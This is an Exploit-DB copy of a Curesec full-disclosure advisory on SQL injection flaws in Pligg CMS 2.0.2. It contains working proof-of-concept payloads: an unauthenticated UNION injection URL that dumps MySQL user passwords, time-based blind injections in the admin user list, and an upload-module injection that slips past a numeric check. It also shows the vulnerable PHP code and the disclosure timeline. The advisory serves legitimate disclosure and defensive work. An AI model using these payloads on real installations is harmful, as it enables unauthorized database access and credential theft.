Pligg CMS 2.0.2 - Multiple SQL Injection Vulnerabilities

2015-10-30T00:00:00
ID EDB-ID:38577
Type exploitdb
Reporter Curesec Research Team
Modified 2015-10-30T00:00:00

Description

Pligg CMS 2.0.2 - Multiple SQL Injection Vulnerabilities. Webapps exploit for php platform

                                        
                                            Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    Pligg CMS 2.0.2
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://pligg.com/
Vulnerability Type:  SQL Injection
Remote Exploitable:  Yes
Reported to vendor:  09/01/2015
Disclosed to public: 10/07/2015
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

There are multiple SQL Injection vulnerabilities in Pligg CMS 2.0.2. One of
them does not require any credentials, and allows the direct extraction of data
from the database.

3. SQL Injection

Description

Pligg CMS is vulnerable to SQL injection. It is possible to extract data from
all databases that the pligg database user has access to.

Credentials are not required.

Proof Of Concept


http://localhost//pligg-cms-master/story.php?title=google-blabla&reply=1&comment_id=1%20union%20all%20select%201,1,1,1,1,1,1,password,password,1%20from%20mysql.user%20%23

Code


/story.php:168
if(isset($_GET['reply']) && !empty($parent_comment_id)){
        $main_smarty->assign('the_comments', get_comments(true,0,$_GET['comment_id']));
        $main_smarty->assign('parrent_comment_id',$parent_comment_id);
}
[...]
function get_comments ($fetch = false, $parent = 0, $comment_id=0, $show_parent=0){
        Global $db, $main_smarty, $current_user, $CommentOrder, $link, $cached_comments;

        //Set comment order to 1 if it's not set in the admin panel
        if (isset($_GET['comment_sort'])) setcookie('CommentOrder', $CommentOrder = $_GET['comment_sort'], time()+60*60*24*180);
        elseif (isset($_COOKIE['CommentOrder'])) $CommentOrder = $_COOKIE['CommentOrder'];

        if (!isset($CommentOrder)) $CommentOrder = 1;
        If ($CommentOrder == 1){$CommentOrderBy = "comment_votes DESC, comment_date DESC";}
        If ($CommentOrder == 2){$CommentOrderBy = "comment_date DESC";}
        If ($CommentOrder == 3){$CommentOrderBy = "comment_votes ASC, comment_date DESC";}
        If ($CommentOrder == 4){$CommentOrderBy = "comment_date ASC";}

[...]

        $comments = $db->get_results("SELECT *
        FROM " . table_comments . "
        WHERE (comment_status='published' $status_sql) AND
               comment_link_id=$link->id AND comment_id = $comment_id
        ORDER BY " . $CommentOrderBy);

4. Blind SQL Injection (Admin Area)

Description

There is a blind SQL Injection in the admin area of Pligg CMS. This allows an
attacker that gained admin credentials to extract data from the database.

The problem exists because the index of the submitted "enabled" POST array is
used in a query. The value is escaped - so using quotes in the injection is not
possible - but it does not place the value in between quotes.

Proof Of Concept


POST /pligg-cms-master/admin/admin_users.php HTTP/1.1

frmsubmit=userlist&admin_acction=2&token=VALID_CSRF_TOKEN&all1=on&enabled[2 AND IF(SUBSTRING(version(), 1, 1)%3D5,BENCHMARK(500000000,version()),null) %23]=1

Code


// admin/admin_users.php
foreach($_POST["enabled"] as $id => $valuea)
{
        $_GET['id'] = $id = $db->escape($id);
        $user= $db->get_row('SELECT * FROM ' . table_users ." where user_id=$id");

5. Possibly SQL Injection

Description

The upload module is vulnerable to Blind SQL Injection via the "comment" as
well as "id" parameter.

The module seems to be unused at the moment, but if it were to be used in the
future, or if an attacker finds a different way to execute it, it would be
vulnerable.

The requests to trigger the vulnerabilities would be:

POST http://localhost/pligg-cms-master/modules/upload/upload.php
id=1&number=1&comment=1' AND IF(SUBSTRING(version(), 1, 1)%3D5,BENCHMARK(500000000,version()),null) %23

POST http://localhost/pligg-cms-master/modules/upload/upload.php
id=1<script' or 1%3D1%23></script>&number=1&comment=1

Code


./modules/upload/upload.php:
if ($_POST['id'])
{
        $linkres=new Link;
        $linkres->id = sanitize($_POST['id'], 3);
        if(!is_numeric($linkres->id)) die("Wrong ID");
        if(!is_numeric($_POST['number']) || $_POST['number']<=0) die("Wrong number");
        if($_POST['number'] > get_misc_data('upload_maxnumber')) die("Too many files");

        // Remove old file and thumbnails with same number
        $sql = "SELECT * FROM ".table_prefix."files WHERE ".($isadmin ? "" : "file_user_id='{$current_user->user_id}' AND")." file_link_id='{$_POST['id']}' AND file_number='{$_POST['number']}' AND file_comment_id='$_POST[comment]'";

The first problem is that $_POST[comment] is never sanitized.

The second problem is that $_POST['id'] is first sanitized by removing tags,
then it is checked if that result is nummeric, and finally the original POST
value is used. Because of this, it is possible to put the injection inside tags
to bypass the check.

6. Solution

This issue was not fixed by the vendor.

7. Report Timeline

09/01/2015 Informed Vendor about Issue (no reply)
09/22/2015 Reminded Vendor of disclosure date
09/22/2015 Vendor replied, issue has been send to staff
09/29/2015 Reminded Vendor of disclosure date (no reply)
10/07/2015 Disclosed to public


Blog Reference:
http://blog.curesec.com/article/blog/Pligg-CMS-202-Multiple-SQL-Injections-82.html